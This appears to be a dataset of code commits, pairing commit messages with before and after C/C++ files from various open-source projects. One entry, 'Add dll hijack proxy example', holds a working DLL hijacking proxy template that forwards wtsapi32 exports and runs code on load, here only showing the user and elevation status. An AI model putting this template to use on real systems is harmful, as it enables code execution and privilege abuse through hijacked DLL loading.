/* This source file is part of the Tomviz project, https://tomviz.org/. It is released under the 3-Clause BSD License, see "LICENSE". */ #ifndef tomvizH5CAPI_h #define tomvizH5CAPI_h extern "C" { #include <hdf5.h> } #endif // tomvizH5CAPI_h
/* This source file is part of the Tomviz project, https://tomviz.org/. It is released under the 3-Clause BSD License, see "LICENSE". */ #ifndef tomvizH5CAPI_h #define tomvizH5CAPI_h extern "C" { #include <vtk_hdf5.h> } #endif // tomvizH5CAPI_h
Move ConfigReader::GetOption()'s implementation outside of class definition
#include <map> #include <sstream> #include <string> class ConfigReader { public: ConfigReader(); ConfigReader(const std::string &filename); bool LoadFile(const std::string &filename); template<typename T> T GetOption(const std::string &name, const T &defaultValue) const { std::map<std::string, std::string>::const_iterator it = options_.find(name); if (it == options_.end()) { return defaultValue; } std::stringstream sstream(it->second); T value; sstream >> value; if (!sstream) { return defaultValue; } return value; } bool IsLoaded() const { return loaded_; } private: bool loaded_; std::map<std::string, std::string> options_; };
#include <map> #include <sstream> #include <string> class ConfigReader { public: ConfigReader(); ConfigReader(const std::string &filename); bool LoadFile(const std::string &filename); template<typename T> T GetOption(const std::string &name, const T &defaultValue) const; bool IsLoaded() const { return loaded_; } private: bool loaded_; std::map<std::string, std::string> options_; }; template<typename T> T ConfigReader::GetOption(const std::string &name, const T &defaultValue) const { std::map<std::string, std::string>::const_iterator it = options_.find(name); if (it == options_.end()) { return defaultValue; } std::stringstream sstream(it->second); T value; sstream >> value; if (!sstream) { return defaultValue; } return value; }
Add a counter for client cert verification mismatches
/* * Copyright (c) 2017, Facebook, Inc. * All rights reserved. * * This source code is licensed under the BSD-style license found in the * LICENSE file in the root directory of this source tree. An additional grant * of patent rights can be found in the PATENTS file in the same directory. * */ #pragma once namespace wangle { class SSLStats { public: virtual ~SSLStats() noexcept {} // downstream virtual void recordSSLAcceptLatency(int64_t latency) noexcept = 0; virtual void recordTLSTicket(bool ticketNew, bool ticketHit) noexcept = 0; virtual void recordSSLSession(bool sessionNew, bool sessionHit, bool foreign) noexcept = 0; virtual void recordSSLSessionRemove() noexcept = 0; virtual void recordSSLSessionFree(uint32_t freed) noexcept = 0; virtual void recordSSLSessionSetError(uint32_t err) noexcept = 0; virtual void recordSSLSessionGetError(uint32_t err) noexcept = 0; virtual void recordClientRenegotiation() noexcept = 0; // upstream virtual void recordSSLUpstreamConnection(bool handshake) noexcept = 0; virtual void recordSSLUpstreamConnectionError(bool verifyError) noexcept = 0; }; } // namespace wangle
/* * Copyright (c) 2017, Facebook, Inc. * All rights reserved. * * This source code is licensed under the BSD-style license found in the * LICENSE file in the root directory of this source tree. An additional grant * of patent rights can be found in the PATENTS file in the same directory. * */ #pragma once namespace wangle { class SSLStats { public: virtual ~SSLStats() noexcept {} // downstream virtual void recordSSLAcceptLatency(int64_t latency) noexcept = 0; virtual void recordTLSTicket(bool ticketNew, bool ticketHit) noexcept = 0; virtual void recordSSLSession(bool sessionNew, bool sessionHit, bool foreign) noexcept = 0; virtual void recordSSLSessionRemove() noexcept = 0; virtual void recordSSLSessionFree(uint32_t freed) noexcept = 0; virtual void recordSSLSessionSetError(uint32_t err) noexcept = 0; virtual void recordSSLSessionGetError(uint32_t err) noexcept = 0; virtual void recordClientRenegotiation() noexcept = 0; virtual void recordSSLClientCertificateMismatch() noexcept = 0; // upstream virtual void recordSSLUpstreamConnection(bool handshake) noexcept = 0; virtual void recordSSLUpstreamConnectionError(bool verifyError) noexcept = 0; }; } // namespace wangle
Change default wksize for opencl config
#ifndef ENGINE_PARALLELL_CLPARALLELL_H_ #define ENGINE_PARALLELL_CLPARALLELL_H_ /* OpenCL 1.2 */ #define CL_HPP_MINIMUM_OPENCL_VERSION 120 #define CL_HPP_TARGET_OPENCL_VERSION 120 #define CL_HPP_ENABLE_EXCEPTIONS #include <vector> #include <tbb/mutex.h> #ifdef __APPLE__ #include <OpenCL/cl2.hpp> #else #include <CL/cl2.hpp> #endif #include "engine/parallell/engine_parallell.h" namespace engine { namespace parallell { class CLParallell : public EngineParallell { public: void InitCollisionParallell() override final; float ComputeCollisionParallell(float box1[], float box2[]) override final; ~CLParallell() override = default; private: cl::Kernel cl_kernel_; cl::CommandQueue cl_queue_; std::vector<cl::Buffer> bufferin_; std::vector<cl::Buffer> bufferout_; int wk_size_{4}; tbb::mutex collision_mutex_; }; }//namespace parallell }//namespace engine #endif //ENGINE_PARALLELL_CLPARALLELL_H_
#ifndef ENGINE_PARALLELL_CLPARALLELL_H_ #define ENGINE_PARALLELL_CLPARALLELL_H_ /* OpenCL 1.2 */ #define CL_HPP_MINIMUM_OPENCL_VERSION 120 #define CL_HPP_TARGET_OPENCL_VERSION 120 #define CL_HPP_ENABLE_EXCEPTIONS #include <vector> #include <tbb/mutex.h> #ifdef __APPLE__ #include <OpenCL/cl2.hpp> #else #include <CL/cl2.hpp> #endif #include "engine/parallell/engine_parallell.h" namespace engine { namespace parallell { class CLParallell : public EngineParallell { public: void InitCollisionParallell() override final; float ComputeCollisionParallell(float box1[], float box2[]) override final; ~CLParallell() override = default; private: cl::Kernel cl_kernel_; cl::CommandQueue cl_queue_; std::vector<cl::Buffer> bufferin_; std::vector<cl::Buffer> bufferout_; int wk_size_{32}; tbb::mutex collision_mutex_; }; }//namespace parallell }//namespace engine #endif //ENGINE_PARALLELL_CLPARALLELL_H_
Fix coding style and improve readability
#include "StatusCode.h" HttpseCode httpse_check_status_code(const HttpseTData *tdata) { long cp = 0, cs = 0; curl_easy_getinfo(tdata->rp->curl, CURLINFO_RESPONSE_CODE, &cp); curl_easy_getinfo(tdata->rs->curl, CURLINFO_RESPONSE_CODE, &cs); if(cs && cp) { if(cs != cp) { return HTTPSE_STATUS_CODE_MISMATCH; } switch(cp/ 100) { case 2: case 3: return HTTPSE_OK; case 4: return HTTPSE_STATUS_CODE_4XX; case 5: return HTTPSE_STATUS_CODE_5XX; default: return HTTPSE_STATUS_CODE_OTHERS; } } /* Remark: Unreachable code. */ return HTTPSE_ERROR_UNKNOWN; }
#include "StatusCode.h" HttpseCode httpse_check_status_code(const HttpseTData *tdata) { long cp = 0; long cs = 0; curl_easy_getinfo(tdata->rp->curl, CURLINFO_RESPONSE_CODE, &cp); curl_easy_getinfo(tdata->rs->curl, CURLINFO_RESPONSE_CODE, &cs); if(cs == cp) { switch(cp/ 100) { /* Remark: unable to recieve HTTP response code, skip tests */ case 0: /* Remark: everything is OK */ case 2: case 3: return HTTPSE_OK; case 4: return HTTPSE_STATUS_CODE_4XX; case 5: return HTTPSE_STATUS_CODE_5XX; default: return HTTPSE_STATUS_CODE_OTHERS; } } return HTTPSE_STATUS_CODE_MISMATCH; }
Define DEBUG as 1 instead of as nothing so that it doesn't conflict with -DDEBUG in libresolv/Makefile.
#define DEBUG /* enable debugging code (needed for dig) */ #undef ALLOW_T_UNSPEC /* enable the "unspec" RR type for old athena */ #define RESOLVSORT /* allow sorting of addresses in gethostbyname */ #undef RFC1535 /* comply with RFC1535 */ #undef ALLOW_UPDATES /* destroy your system security */ #undef USELOOPBACK /* res_init() bind to localhost */ #undef SUNSECURITY /* verify gethostbyaddr() calls - WE DONT NEED IT */
#define DEBUG 1 /* enable debugging code (needed for dig) */ #undef ALLOW_T_UNSPEC /* enable the "unspec" RR type for old athena */ #define RESOLVSORT /* allow sorting of addresses in gethostbyname */ #undef RFC1535 /* comply with RFC1535 */ #undef ALLOW_UPDATES /* destroy your system security */ #undef USELOOPBACK /* res_init() bind to localhost */ #undef SUNSECURITY /* verify gethostbyaddr() calls - WE DONT NEED IT */
Move PeiPeCoffLoader from /Protocol to /Guid.
/*++ Copyright (c) 2006, Intel Corporation All rights reserved. This program and the accompanying materials are licensed and made available under the terms and conditions of the BSD License which accompanies this distribution. The full text of the license may be found at http://opensource.org/licenses/bsd-license.php THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. Module Name: EdkPeCoffLoaderLib.h Abstract: Wrap the Base PE/COFF loader with the PE COFF Protocol --*/ #ifndef __PE_COFF_LOADER_LIB_H_ #define __PE_COFF_LOADER_LIB_H_ #include <Protocol/PeiPeCoffLoader.h> EFI_PEI_PE_COFF_LOADER_PROTOCOL* EFIAPI GetPeCoffLoaderProtocol ( VOID ); #endif
/*++ Copyright (c) 2006, Intel Corporation All rights reserved. This program and the accompanying materials are licensed and made available under the terms and conditions of the BSD License which accompanies this distribution. The full text of the license may be found at http://opensource.org/licenses/bsd-license.php THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. Module Name: EdkPeCoffLoaderLib.h Abstract: Wrap the Base PE/COFF loader with the PE COFF Protocol --*/ #ifndef __PE_COFF_LOADER_LIB_H_ #define __PE_COFF_LOADER_LIB_H_ #include <Guid/PeiPeCoffLoader.h> EFI_PEI_PE_COFF_LOADER_PROTOCOL* EFIAPI GetPeCoffLoaderProtocol ( VOID ); #endif
Remove unnecessary using directive. This sclences a warning when compiling with clang++.
/*===- TimeVaryingDragForce.h - libSimulation -================================= * * DEMON * * This file is distributed under the BSD Open Source License. See LICENSE.TXT * for details. * *===-----------------------------------------------------------------------===*/ #ifndef TIMEVARYINGDRAGFORCE_H #define TIMEVARYINGDRAGFORCE_H #include "DragForce.h" using namespace std; class TimeVaryingDragForce : public DragForce { public: TimeVaryingDragForce(Cloud * const myCloud, const double scale, const double offset); //overloaded constructor ~TimeVaryingDragForce() {} //destructor //public functions: void force1(const double currentTime); //rk substep 1 void force2(const double currentTime); //rk substep 2 void force3(const double currentTime); //rk substep 3 void force4(const double currentTime); //rk substep 4 void writeForce(fitsfile *file, int *error) const; void readForce(fitsfile *file, int *error); private: //private variables: double scaleConst; //[s^-2] double offsetConst; //[s^-1] //private methods: const double calculateGamma(const double currentTime) const; }; #endif /* TIMEVARYINGDRAGFORCE_H */
/*===- TimeVaryingDragForce.h - libSimulation -================================= * * DEMON * * This file is distributed under the BSD Open Source License. See LICENSE.TXT * for details. * *===-----------------------------------------------------------------------===*/ #ifndef TIMEVARYINGDRAGFORCE_H #define TIMEVARYINGDRAGFORCE_H #include "DragForce.h" class TimeVaryingDragForce : public DragForce { public: TimeVaryingDragForce(Cloud * const myCloud, const double scale, const double offset); //overloaded constructor ~TimeVaryingDragForce() {} //destructor //public functions: void force1(const double currentTime); //rk substep 1 void force2(const double currentTime); //rk substep 2 void force3(const double currentTime); //rk substep 3 void force4(const double currentTime); //rk substep 4 void writeForce(fitsfile *file, int *error) const; void readForce(fitsfile *file, int *error); private: //private variables: double scaleConst; //[s^-2] double offsetConst; //[s^-1] //private methods: const double calculateGamma(const double currentTime) const; }; #endif /* TIMEVARYINGDRAGFORCE_H */
Change a missed instance of 'HPM'
#pragma once /* 11pm.h - functions and data types related * to the operation of HPM itself */ // install.c - functions related to symlinking // (installing) already faked packages int xipm_symlink(char *from, char *to);
#pragma once /* 11pm.h - functions and data types related * to the operation of 11pm itself */ // install.c - functions related to symlinking // (installing) already faked packages int xipm_symlink(char *from, char *to);
Test 13/19: Add ! to UNKNOWN
// PARAM: --set ana.int.interval true --set solver "'td3'" #include<pthread.h> #include<assert.h> int glob1 = 0; pthread_mutex_t mutex1 = PTHREAD_MUTEX_INITIALIZER; pthread_mutex_t mutex2 = PTHREAD_MUTEX_INITIALIZER; void *t_fun(void *arg) { int t; pthread_mutex_lock(&mutex1); pthread_mutex_lock(&mutex2); glob1 = 5; pthread_mutex_unlock(&mutex2); pthread_mutex_lock(&mutex2); assert(glob1 == 5); glob1 = 0; pthread_mutex_unlock(&mutex1); pthread_mutex_unlock(&mutex2); return NULL; } int main(void) { pthread_t id; assert(glob1 == 0); pthread_create(&id, NULL, t_fun, NULL); pthread_mutex_lock(&mutex2); assert(glob1 == 0); // UNKNOWN assert(glob1 == 5); // UNKNOWN pthread_mutex_unlock(&mutex2); pthread_join (id, NULL); return 0; }
// PARAM: --set ana.int.interval true --set solver "'td3'" #include<pthread.h> #include<assert.h> int glob1 = 0; pthread_mutex_t mutex1 = PTHREAD_MUTEX_INITIALIZER; pthread_mutex_t mutex2 = PTHREAD_MUTEX_INITIALIZER; void *t_fun(void *arg) { int t; pthread_mutex_lock(&mutex1); pthread_mutex_lock(&mutex2); glob1 = 5; pthread_mutex_unlock(&mutex2); pthread_mutex_lock(&mutex2); assert(glob1 == 5); glob1 = 0; pthread_mutex_unlock(&mutex1); pthread_mutex_unlock(&mutex2); return NULL; } int main(void) { pthread_t id; assert(glob1 == 0); pthread_create(&id, NULL, t_fun, NULL); pthread_mutex_lock(&mutex2); assert(glob1 == 0); // UNKNOWN! assert(glob1 == 5); // UNKNOWN! pthread_mutex_unlock(&mutex2); pthread_join (id, NULL); return 0; }
Add test that's unsound because of __goblint_assume_join(...)
//PARAM: --set ana.activated[+] apron --set ana.path_sens[+] threadflag --set ana.activated[+] threadJoins --sets ana.apron.privatization mutex-meet-tid #include <pthread.h> #include <assert.h> int g = 10; int h = 10; pthread_mutex_t A = PTHREAD_MUTEX_INITIALIZER; void *t_fun(void *arg) { return NULL; } void *t_benign(void *arg) { pthread_t id2; pthread_create(&id2, NULL, t_fun, NULL); __goblint_assume_join(id2, NULL); // t_fun should be in here g = 7; return NULL; } int main(void) { int t; pthread_t id2[10]; for(int i =0; i < 10;i++) { pthread_create(&id2[i], NULL, t_benign, NULL); } __goblint_assume_join(id2[2]); // t_benign and t_fun should be in here assert(g==h); //FAIL return 0; }
Fix incorrect header size macros
#ifndef __REGIS_H__ #define __REGIS_H__ #include "postgres.h" typedef struct RegisNode { uint32 type:2, len:16, unused:14; struct RegisNode *next; unsigned char data[1]; } RegisNode; #define RNHDRSZ (sizeof(uint32)+sizeof(void*)) #define RSF_ONEOF 1 #define RSF_NONEOF 2 typedef struct Regis { RegisNode *node; uint32 issuffix:1, nchar:16, unused:15; } Regis; int RS_isRegis(const char *str); int RS_compile(Regis * r, int issuffix, const char *str); void RS_free(Regis * r); /* 1 */ int RS_execute(Regis * r, const char *str, int len); #endif
#ifndef __REGIS_H__ #define __REGIS_H__ #include "postgres.h" typedef struct RegisNode { uint32 type:2, len:16, unused:14; struct RegisNode *next; unsigned char data[1]; } RegisNode; #define RNHDRSZ (offsetof(RegisNode,data)) #define RSF_ONEOF 1 #define RSF_NONEOF 2 typedef struct Regis { RegisNode *node; uint32 issuffix:1, nchar:16, unused:15; } Regis; int RS_isRegis(const char *str); int RS_compile(Regis * r, int issuffix, const char *str); void RS_free(Regis * r); /* 1 */ int RS_execute(Regis * r, const char *str, int len); #endif
Add some common utils for arrays and alignment
/* * Copyright (c) 2016 Lech Kulina * * This file is part of the Realms Of Steel. * For conditions of distribution and use, see copyright details in the LICENSE file. */ #ifndef ROS_COMMON_H #define ROS_COMMON_H #include <cstddef> #include <cstdlib> #include <cstdio> #include <cstdarg> #include <cstring> #include <cassert> #define ROS_NOOP ((void)0) #define ROS_NULL NULL #ifndef ROS_DISABLE_ASSERTS #define ROS_ASSERT assert #else #define ROS_ASSERT ROS_NOOP #endif namespace ros { template<class Type, size_t Size> inline Type* ArrayBegin(Type (&array)[Size]) { return &array[0]; } template<class Type, size_t Size> inline Type* ArrayEnd(Type (&array)[Size]) { return &array[0] + Size; } const size_t KB = 1024; const size_t MB = 1024 * 1024; template<class Type> inline Type Alignment(const Type& value, size_t multiple) { return (multiple - (value % multiple)) % multiple; } template<class Type> inline Type Align(const Type& value, size_t multiple) { return value + alignment(value, multiple); } } #endif // ROS_COMMON_H
Set the SHELL environment variable
/* Copyright 2010 Curtis McEnroe <programble@gmail.com> * * This file is part of BSH. * * BSH is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * BSH is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with BSH. If not, see <http://www.gnu.org/licenses/>. */ #include <stdlib.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include "common.h" #include "reader.h" #include "command.h" int main(int argc, char *argv[]) { while (true) { printf("%s ", (geteuid() == 0) ? "#" : "$"); char **command = read_command(stdin); if (!command) break; if (strequ(command[0], "")) continue; run_command(command); free_command(command); } return 0; }
/* Copyright 2010 Curtis McEnroe <programble@gmail.com> * * This file is part of BSH. * * BSH is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * BSH is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with BSH. If not, see <http://www.gnu.org/licenses/>. */ #include <stdlib.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include "common.h" #include "reader.h" #include "command.h" int main(int argc, char *argv[]) { setenv("SHELL", argv[0], true); while (true) { printf("%s ", (geteuid() == 0) ? "#" : "$"); char **command = read_command(stdin); if (!command) break; if (strequ(command[0], "")) continue; run_command(command); free_command(command); } return 0; }
Make all the state variables static (still subject to significant change)
#ifndef __ADR_MAIN_H__ #define __ADR_MAIN_H__ // Libraries // #include "craftable.h" #include "resource.h" #include "villager.h" #include "location.h" // Forward Declarations // enum LOCATION adr_loc; enum FIRE_STATE adr_fire; enum ROOM_TEMP adr_temp; unsigned int adr_rs [ALIEN_ALLOY + 1]; unsigned short adr_cs [RIFLE + 1]; unsigned short adr_vs [MUNITIONIST + 1]; #endif // __ADR_MAIN_H__ // vim: set ts=4 sw=4 et:
#ifndef __ADR_MAIN_H__ #define __ADR_MAIN_H__ // Libraries // #include "craftable.h" #include "resource.h" #include "villager.h" #include "location.h" // Forward Declarations // static enum LOCATION adr_loc; static enum FIRE_STATE adr_fire; static enum ROOM_TEMP adr_temp; static unsigned int adr_rs [ALIEN_ALLOY + 1]; static unsigned short adr_cs [RIFLE + 1]; static unsigned short adr_vs [MUNITIONIST + 1]; #endif // __ADR_MAIN_H__ // vim: set ts=4 sw=4 et:
Reformat the code with clang-format
//===- lld/ReaderWriter/ELF/Mips/MipsRelocationHandler.h ------------------===// // // The LLVM Linker // // This file is distributed under the University of Illinois Open Source // License. See LICENSE.TXT for details. // //===----------------------------------------------------------------------===// #ifndef LLD_READER_WRITER_ELF_MIPS_MIPS_RELOCATION_HANDLER_H #define LLD_READER_WRITER_ELF_MIPS_MIPS_RELOCATION_HANDLER_H #include "TargetHandler.h" #include "lld/Core/Reference.h" namespace lld { namespace elf { template<typename ELFT> class MipsTargetLayout; class MipsRelocationHandler : public TargetRelocationHandler { public: virtual Reference::Addend readAddend(Reference::KindValue kind, const uint8_t *content) const = 0; }; template <class ELFT> std::unique_ptr<TargetRelocationHandler> createMipsRelocationHandler(MipsLinkingContext &ctx, MipsTargetLayout<ELFT> &layout); } // elf } // lld #endif
//===- lld/ReaderWriter/ELF/Mips/MipsRelocationHandler.h ------------------===// // // The LLVM Linker // // This file is distributed under the University of Illinois Open Source // License. See LICENSE.TXT for details. // //===----------------------------------------------------------------------===// #ifndef LLD_READER_WRITER_ELF_MIPS_MIPS_RELOCATION_HANDLER_H #define LLD_READER_WRITER_ELF_MIPS_MIPS_RELOCATION_HANDLER_H #include "TargetHandler.h" #include "lld/Core/Reference.h" namespace lld { namespace elf { template<typename ELFT> class MipsTargetLayout; class MipsRelocationHandler : public TargetRelocationHandler { public: virtual Reference::Addend readAddend(Reference::KindValue kind, const uint8_t *content) const = 0; }; template <class ELFT> std::unique_ptr<TargetRelocationHandler> createMipsRelocationHandler(MipsLinkingContext &ctx, MipsTargetLayout<ELFT> &layout); } // elf } // lld #endif
Update Skia milestone to 80
/* * Copyright 2016 Google Inc. * * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #ifndef SK_MILESTONE #define SK_MILESTONE 79 #endif
/* * Copyright 2016 Google Inc. * * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #ifndef SK_MILESTONE #define SK_MILESTONE 80 #endif
Add dll hijack proxy example
// i686-w64-mingw32-g++ dll.c -lws2_32 -o wtsapi32.dll -shared #include <windows.h> #include <string> #include <stdio.h> #include <Lmcons.h> BOOL IsElevated() { BOOL fRet = FALSE; HANDLE hToken = NULL; if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { TOKEN_ELEVATION Elevation; DWORD cbSize = sizeof(TOKEN_ELEVATION); if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) { fRet = Elevation.TokenIsElevated; } } if (hToken) { CloseHandle(hToken); } return fRet; } asm (".section .drectve\n\t.ascii \" -export:WTSEnumerateProcessesW=c:/windows/system32/wtsapi32.WTSEnumerateProcessesW\""); asm (".section .drectve\n\t.ascii \" -export:WTSQueryUserToken=c:/windows/system32/wtsapi32.WTSQueryUserToken\""); asm (".section .drectve\n\t.ascii \" -export:WTSFreeMemory=c:/windows/system32/wtsapi32.WTSFreeMemory\""); asm (".section .drectve\n\t.ascii \" -export:WTSEnumerateSessionsW=c:/windows/system32/wtsapi32.WTSEnumerateSessionsW\""); BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){ BOOL elevated; char username[UNLEN+1]; DWORD username_len = UNLEN + 1; char out[UNLEN+28]; switch(dwReason){ case DLL_PROCESS_ATTACH: elevated = IsElevated(); GetUserName(username, &username_len); strcpy(out, "Running "); if (elevated) { strcat(out, "elevated as user "); } else { strcat(out, "unelevated as user "); } strcat(out, username); MessageBox(0, out, "Dll Hijacking POC Code", 0); break; case DLL_PROCESS_DETACH: break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; } return TRUE; }
Add program options to bridgeofp.
#ifndef OFP_IPV6ENDPOINT_H #define OFP_IPV6ENDPOINT_H #include "ofp/ipv6address.h" namespace ofp { // <namespace ofp> class IPv6Endpoint { public: IPv6Endpoint() = default; IPv6Endpoint(const IPv6Address &addr, UInt16 port) : addr_{addr}, port_{port} {} IPv6Endpoint(const std::string &addr, UInt16 port) : addr_{addr}, port_{port} {} explicit IPv6Endpoint(UInt16 port) : addr_{}, port_{port} {} bool parse(const std::string &s); void clear(); bool valid() const { return port_ != 0; } const IPv6Address &address() const { return addr_; } UInt16 port() const { return port_; } void setAddress(const IPv6Address &addr) { addr_ = addr; } void setPort(UInt16 port) { port_ = port; } std::string toString() const; private: IPv6Address addr_; UInt16 port_ = 0; }; } // </namespace ofp> #endif // OFP_IPV6ENDPOINT_H
#ifndef OFP_IPV6ENDPOINT_H #define OFP_IPV6ENDPOINT_H #include "ofp/ipv6address.h" #include <istream> #include "ofp/log.h" namespace ofp { // <namespace ofp> class IPv6Endpoint { public: IPv6Endpoint() = default; IPv6Endpoint(const IPv6Address &addr, UInt16 port) : addr_{addr}, port_{port} {} IPv6Endpoint(const std::string &addr, UInt16 port) : addr_{addr}, port_{port} {} explicit IPv6Endpoint(UInt16 port) : addr_{}, port_{port} {} bool parse(const std::string &s); void clear(); bool valid() const { return port_ != 0; } const IPv6Address &address() const { return addr_; } UInt16 port() const { return port_; } void setAddress(const IPv6Address &addr) { addr_ = addr; } void setPort(UInt16 port) { port_ = port; } std::string toString() const; private: IPv6Address addr_; UInt16 port_ = 0; }; std::istream &operator>>(std::istream &is, IPv6Endpoint &value); std::ostream &operator<<(std::ostream &os, const IPv6Endpoint &value); inline std::istream &operator>>(std::istream &is, IPv6Endpoint &value) { std::string str; is >> str; if (!value.parse(str)) { is.setstate(std::ios::failbit); } return is; } inline std::ostream &operator<<(std::ostream &os, const IPv6Endpoint &value) { return os << value.toString(); } } // </namespace ofp> #endif // OFP_IPV6ENDPOINT_H
Add Locale.cpp to sync and minimal deps
/* * Copyright (c) Meta Platforms, Inc. and affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */ #ifndef _FB_UTIL_REIMPLEMENTATION #define _FB_UTIL_REIMPLEMENTATION #include <algorithm> #include <sstream> #include <string> #include <vector> namespace android { namespace util { inline std::vector<std::string> SplitAndLowercase(const std::string& str, char sep) { std::vector<std::string> result; std::stringstream ss(str); std::string part; while (std::getline(ss, part, sep)) { std::transform(part.begin(), part.end(), part.begin(), [](unsigned char c) { return std::tolower(c); }); result.push_back(part); } return result; } } // namespace util } // namespace android #endif // _FB_UTIL_REIMPLEMENTATION
Add witness lifter fixpoint not reached test from sv-benchmarks
// PARAM: --enable ana.sv-comp.enabled --enable ana.sv-comp.functions --set ana.specification 'CHECK( init(main()), LTL(G ! call(reach_error())) )' --enable ana.int.interval // previously fixpoint not reached // extracted from sv-benchmarks loops-crafted-1/loopv2 int SIZE = 50000001; int __VERIFIER_nondet_int(); int main() { int n,i,j; n = __VERIFIER_nondet_int(); if (!(n <= SIZE)) return 0; i = 0; j=0; while(i<n){ i = i + 4; j = i +2; } return 0; }
Fix prefix in header import
// // Fingertips.h // Fingertips // // Copyright © 2016 Mapbox. All rights reserved. // #import <UIKit/UIKit.h> //! Project version number for Fingertips. FOUNDATION_EXPORT double FingertipsVersionNumber; //! Project version string for Fingertips. FOUNDATION_EXPORT const unsigned char FingertipsVersionString[]; #import <Fingertips/MPFingerTipWindow.h>
// // Fingertips.h // Fingertips // // Copyright © 2016 Mapbox. All rights reserved. // #import <UIKit/UIKit.h> //! Project version number for Fingertips. FOUNDATION_EXPORT double FingertipsVersionNumber; //! Project version string for Fingertips. FOUNDATION_EXPORT const unsigned char FingertipsVersionString[]; #import <Fingertips/MBFingerTipWindow.h>
Add a test that ensures we get the basic multilib '-L' flags to 'ld' invocations on Linux.
// General tests that ld invocations on Linux targets sane. // // RUN: %clang -no-canonical-prefixes -ccc-host-triple i386-unknown-linux %s -### -o %t.o 2>&1 \ // RUN: | FileCheck --check-prefix=CHECK-LD-32 %s // CHECK-LD-32: "{{.*}}/ld" {{.*}} "-L/lib/../lib32" "-L/usr/lib/../lib32" // // RUN: %clang -no-canonical-prefixes -ccc-host-triple x86_64-unknown-linux %s -### -o %t.o 2>&1 \ // RUN: | FileCheck --check-prefix=CHECK-LD-64 %s // CHECK-LD-64: "{{.*}}/ld" {{.*}} "-L/lib/../lib64" "-L/usr/lib/../lib64"
Remove dict2 interface -- it's now static.
/* Dictionary object type -- mapping from char * to object. NB: the key is given as a char *, not as a stringobject. These functions set errno for errors. Functions dictremove() and dictinsert() return nonzero for errors, getdictsize() returns -1, the others NULL. A successful call to dictinsert() calls INCREF() for the inserted item. */ extern typeobject Dicttype; #define is_dictobject(op) ((op)->ob_type == &Dicttype) extern object *newdictobject PROTO((void)); extern object *dictlookup PROTO((object *dp, char *key)); extern int dictinsert PROTO((object *dp, char *key, object *item)); extern int dictremove PROTO((object *dp, char *key)); extern int getdictsize PROTO((object *dp)); extern char *getdictkey PROTO((object *dp, int i)); /* New interface with (string)object * instead of char * arguments */ extern object *dict2lookup PROTO((object *dp, object *key)); extern int dict2insert PROTO((object *dp, object *key, object *item)); extern int dict2remove PROTO((object *dp, object *key)); extern object *getdict2key PROTO((object *dp, int i));
/* Dictionary object type -- mapping from char * to object. NB: the key is given as a char *, not as a stringobject. These functions set errno for errors. Functions dictremove() and dictinsert() return nonzero for errors, getdictsize() returns -1, the others NULL. A successful call to dictinsert() calls INCREF() for the inserted item. */ extern typeobject Dicttype; #define is_dictobject(op) ((op)->ob_type == &Dicttype) extern object *newdictobject PROTO((void)); extern object *dictlookup PROTO((object *dp, char *key)); extern int dictinsert PROTO((object *dp, char *key, object *item)); extern int dictremove PROTO((object *dp, char *key)); extern int getdictsize PROTO((object *dp)); extern char *getdictkey PROTO((object *dp, int i));
Make the constants easier to understand
#include <stdio.h> #include <stdlib.h> #include <string.h> const char RAW[] = "/bin/stty raw"; const char default_str[] = "I AM AN IDIOT "; int main(int argc, char **argv) { const char *str; if ( argc == 2 ) str = argv[1]; else str = default_str; size_t len = strlen(str); system(RAW); while ( 1 ) { for ( size_t i = 0 ; i < len ; i++ ) { getchar(); printf("\x1b[2K\r"); for ( size_t j = 0 ; j <= i ; j++ ) { printf("%c", str[j]); } } printf("\n\r"); } return 0; }
#include <stdio.h> #include <stdlib.h> #include <string.h> const char RAW[] = "/bin/stty raw"; #define CLEAR_LINE "\x1b[2K" #define GOTO_START "\r" #define GOTO_NEXT_LINE "\n" const char default_str[] = "I AM AN IDIOT "; int main(int argc, char **argv) { const char *str; if ( argc == 2 ) str = argv[1]; else str = default_str; size_t len = strlen(str); system(RAW); while ( 1 ) { for ( size_t i = 0 ; i < len ; i++ ) { getchar(); printf(CLEAR_LINE GOTO_START); for ( size_t j = 0 ; j <= i ; j++ ) { printf("%c", str[j]); } } printf(GOTO_NEXT_LINE GOTO_START); } return 0; }
Add classic Wirth problem on numbers 1-100.
